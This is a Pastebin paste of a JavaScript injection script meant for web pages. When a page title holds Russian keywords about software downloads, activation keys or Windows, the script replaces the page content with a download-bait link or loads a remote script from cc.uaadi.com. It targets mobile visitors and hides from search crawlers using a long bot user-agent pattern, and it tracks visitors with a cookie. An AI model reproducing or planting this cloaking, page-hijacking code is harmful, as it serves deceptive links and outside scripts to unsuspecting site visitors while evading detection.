Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var title = document.title;
- var uniqueVisitorDays = 1;
- var flows = [
- {
- "mc":true,
- "keywords": ["настроит", "песн", "пульт", "программ", "браузер", "скачать", "офис", "fallout", "windows", "руководств","активаци", "ключ", "песн", "книг"],
- "html": function() {
- var newContent = '<a href="http://link.ru">Атвичаю, тут можно скачать</a>';
- var contentCenter = document.getElementsByClassName("container");
- contentCenter[0].innerHTML = newContent;
- }
- },
- {
- "mc":true,
- "keywords": ["тут другой массив слов"],
- "js":['//cc.uaadi.com/v/xdm3kwZpyynSxIuCli7yO7KcDyeOVg'],
- "html": function() {
- var newContent = '<div id="vxdm3kwZpyynSxIuCli7yO7KcDyeOVg"></div>';
- var contentCenter = document.getElementsByClassName("container");
- contentCenter[0].innerHTML = newContent;
- }
- }
- ];
- document.onreadystatechange = function() {
- if (document.readyState === 'complete') {
- for (var i = 0; i < flows.length; i++) {
- var keywords = flows[i].keywords
- if (containsAny(title, keywords)) {
- var isVisible = true;
- if (typeof flows[i].bc !== "undefined" && flows[i].bc === true && isBot() === true) {
- isVisible = false;
- }
- if (typeof flows[i].mc !== "undefined" && flows[i].mc === true && isMobile() === false) {
- isVisible = false;
- }
- if (typeof flows[i].lang !== "undefined" && flows[i].lang.length >0 && inArray(getLang(), flows[i].lang) === false) {
- isVisible = false;
- }
- if (typeof flows[i].time !== "undefined" && flows[i].time.length >0 && inArray(getPartDay(), flows[i].time) === false) {
- isVisible = false;
- }
- if (typeof flows[i].platform !== "undefined" && flows[i].platform.length >0 && inArray(getPlatform(), flows[i].platform) === false) {
- isVisible = false;
- }
- if (typeof flows[i].uc !== "undefined" && flows[i].uc === true) {
- var user = getCookie("jackie");
- if(user !== null) {
- isVisible = false;
- }
- setCookie("jackie", "chan", uniqueVisitorDays);
- }
- if(isVisible === true){
- if (typeof flows[i].js !== "undefined" && flows[i].js.length > 0) {
- flows[i].js.forEach(function(item, i, js) {
- loadJsCssFile(item, "js");
- });
- }
- if (typeof flows[i].css !== "undefined" && flows[i].css.length > 0) {
- flows[i].css.forEach(function(item, i, css) {
- loadJsCssFile(item, "css");
- });
- }
- if (typeof flows[i].human !== "undefined" && flows[i].human === true) {
- if(isRealHuman() === true){
- var run = flows[i].html();
- }
- }else{
- var run = flows[i].html();
- }
- }
- break;
- }
- }
- }
- };
- function containsAny(str, substrings) {
- for (var i = 0; i != substrings.length; i++) {
- var substring = substrings[i].toLowerCase();
- if (str.toLowerCase().indexOf(substring) != -1) {
- return substring;
- }
- }
- return null;
- }
- function inArray(target, array) {
- for(var i = 0; i < array.length; i++) {
- if(array[i] === target){
- return true;
- }
- }
- return false;
- }
- function loadJsCssFile(filename, filetype) {
- if (filetype == "js") {
- var fileref = document.createElement('script')
- fileref.setAttribute("type", "text/javascript")
- fileref.setAttribute("src", filename)
- } else if (filetype == "css") {
- var fileref = document.createElement("link")
- fileref.setAttribute("rel", "stylesheet")
- fileref.setAttribute("type", "text/css")
- fileref.setAttribute("href", filename)
- }
- if (typeof fileref != "undefined")
- document.getElementsByTagName("head")[0].appendChild(fileref)
- }
- function isBot() {
- var botPattern = "(googlebot\/|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|YandexBot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis)";
- var re = new RegExp(botPattern, 'i');
- var userAgent = navigator.userAgent;
- if (re.test(userAgent)) {
- return true;
- } else {
- return false;
- }
- };
- function isMobile() {
- var mobilePattern = "(android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini|meego|tablet)";
- var re = new RegExp(mobilePattern, 'i');
- var userAgent = navigator.userAgent.toLowerCase();
- if (re.test(userAgent)) {
- return true;
- } else {
- return false;
- }
- }
- function getLang(){
- return navigator.language || navigator.userLanguage;
- }
- function getPlatform(){
- return navigator.platform;
- }
- function getPartDay () {
- var dayPart = null;
- var date = new Date;
- var hour = date.getHours();
- if(hour >= 0 && hour <= 6){
- dayPart = 'night';
- }else if (hour > 6 && hour < 12) {
- dayPart = 'morning';
- } else if (hour >= 12 && hour <= 17) {
- dayPart = 'afternoon';
- } else if (hour > 17 && hour < 24) {
- dayPart = 'evening';
- } else{
- dayPart = null;
- }
- return dayPart;
- }
- function isRealHuman() {
- var language = navigator.language || navigator.userLanguage;
- var text = null;
- switch (language) {
- case 'ru':
- text = 'Вы человек?';
- break;
- case 'ua':
- text = 'Ви людина?';
- break;
- case 'be':
- text = 'Вы чалавек?';
- break;
- case 'en':
- text = 'Are You Human?';
- break;
- case 'kz':
- text = 'Сіз адамсыз ба?';
- break;
- case 'ge':
- text = 'Sind Sie ein Mensch?';
- break;
- case 'fr':
- text = 'Es-tu humain?';
- break;
- case 'it':
- text = 'Sei umano?';
- break;
- case 'sp':
- text = '¿Eres humano?';
- break;
- default:
- text = 'Вы человек?';
- }
- return confirm(text);
- }
- function setCookie(cname, cvalue, exdays) {
- var d = new Date();
- d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
- var expires = "expires=" + d.toGMTString();
- document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
- }
- function getCookie(cname) {
- var name = cname + "=";
- var decodedCookie = decodeURIComponent(document.cookie);
- var ca = decodedCookie.split(';');
- for (var i = 0; i < ca.length; i++) {
- var c = ca[i];
- while (c.charAt(0) == ' ') {
- c = c.substring(1);
- }
- if (c.indexOf(name) == 0) {
- return c.substring(name.length, c.length);
- }
- }
- return null;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement